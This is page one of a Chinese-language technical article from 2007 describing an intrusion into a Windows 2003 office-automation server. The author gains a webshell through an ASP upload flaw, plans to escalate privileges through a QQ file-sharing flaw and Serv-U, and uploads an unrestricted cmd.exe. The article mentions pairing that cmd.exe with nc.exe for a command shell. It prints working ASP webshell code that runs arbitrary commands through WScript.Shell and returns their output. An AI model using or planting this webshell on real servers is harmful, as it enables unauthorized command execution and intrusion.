繁体中文
设为首页
加入收藏
当前位置:技术首页 >> 安全 >> 系统和数据 >> 用QQ文件共享漏洞入侵Windows 2003系统

用QQ文件共享漏洞入侵Windows 2003系统 (1)

2007-01-16 23:09:52  作者:安全中国   来源:安全中国   浏览次数:152  文字大小:【】【】【
关键字:系统 数据 安全

  服务器上运行的第三方软件历来就被攻击者们看作是入侵目标系统的捷径。现在,著名的腾讯QQ又被列入了这些捷径名单,好在QQ并不是服务器必备的软件之一,所以相信不会造成大范围的危机。文中遇到特殊情况虽然不多,但大家还是应该遵照“可能的就应该防范”的原则做出相应防御。

  一、在Windows2003中得到的webshell

  此次渗透的目标是一台OA办公系统服务器。其操作系统新近升级到了Windows2003,但OA仍存在asp文件上传漏洞,所以webshell的取得并没有任何悬念。阻碍是在权限提升时遇到的。

  登陆webshell后发现只能查看服务器的D盘,对C盘不能进行任何访问,webshell的提示是“没有权限”。这点早在意料之中,因为wenshell只有guests组权限,再加上win2003默认禁止了“Everyone"匿名用户及“Guest"组权限用户访问cmd.exe,还造成了不能通过webshell运行cmd.exe。

  惟一值得庆幸的是利用Webshell 可以对D盘(存放有web虚拟目录)各个子目录进行读写。这里除了web虚拟目录还有一些数据备份文件和一个腾讯QQ安装目录Tencent。

  二、破解Serv-u的终极防范

  Windows2003的种种默认安全配置展示了它强大的一面,近一步提升现有权限似乎已不太可能,直到我试图从系统入手向这台服务器发出FTP链接请求并看到Serv-u的banner时才觉得又有了一线希望。

  前面提到由于Windows2003对cmd.exe的权限限制,通过webshell方式不能运行cmd.exe,这样的论断在2004年6期的防线的《构建Windows2003堡垒主机》一文也曾提到,但实践表明这并不正确,通过webshell上传本地非2003系统中未受限制的cmd.exe文件到可执行目录,再通过wscript组件,同样能够通过webshell方式在Windows2003下获得相应权限的cmd.exe。结合nc.exe,甚至还能得到一个guest组权限的命令行下的shell。

  为此,我对老兵的站长助手6.0做了一些改进,增加了如下代码,使其能够利用Wscript.shell组件运行本地上传的cmd.exe。

Function CmdShell()
If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
ShellPath=Session("ShellPath")
if ShellPath="" Then ShellPath = "cmd.exe"
if Request("wscript")="yes" then
checked=" checked"
else
checked=""
end if
If Request("cmd")<>"" Then DefCmd = Request("cmd")
SI="<form method='post'><input name='cmd' Style='width:92%' 
class='cmd' value='"&DefCmd&"'><input type='submit' value='运行'>"
SI=SI&"<textarea Style='width:100%;height:500;' class='cmd'>"
If Request.Form("cmd")<>"" Then
if Request.Form("wscript")="yes" then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&" /c "&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else%>
<object runat=server id=ws scope=page classid=
"clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat=server id=ws scope=page classid=
"clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat=server id=fso scope=page classid=
"clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%szTempFile = server.mappath("cmd.txt")
Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True)
Set fs = CreateObject("Scripting.FileSystemObject")
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&"</textarea>"
SI=SI&"SHELL路径:<input name='SP' value='"&ShellPath&"' Style='width:70%'>  "
SI=SI&"<input type='checkbox' name='wscript' value='yes'"&checked&">WScript.Shell</form>"
Response.Write SI
End Function

责任编辑:雪焰

本文引用地址: http://tech.itzero.com/2007/0116/15239.html 请粘贴到你的QQ/MSN上推荐给你的好友

相关文章
简单方法确保 Linux 系统中的 SSH 安全性
铸造 Outlook Express 的金刚不坏之身
关于Linux网络安全的内在限制
系统安全之谈谈Linux和UNIX下的病毒
教你配置Linux操作系统安全管理服务
Linux安全基础
Linux安全:步步设防(2)
5万笔记本失窃 网络边缘安全亮红灯
刍议IPv6的安全问题
2007 年 11 月 13 日安全发布版的检测和部署指南
配置路由器成为你安全防范的堡垒
 

最新文章

更多

· 苹果新系统遭破解 普通P...
· 设计差异引发 Web Servi...
· 关闭Windows XP自动播放...
· 大量开源安全应用程序确...
· 虚拟技术暗藏隐患 威胁...
· 通过建立安全模型保障We...
· 数据库安全应用 使用MyS...
· 无需攻击lsass进程即可解...
· 合理设计安全问题加强出...
· 从数据库管理下手 多手...

热点文章

更多

其它推荐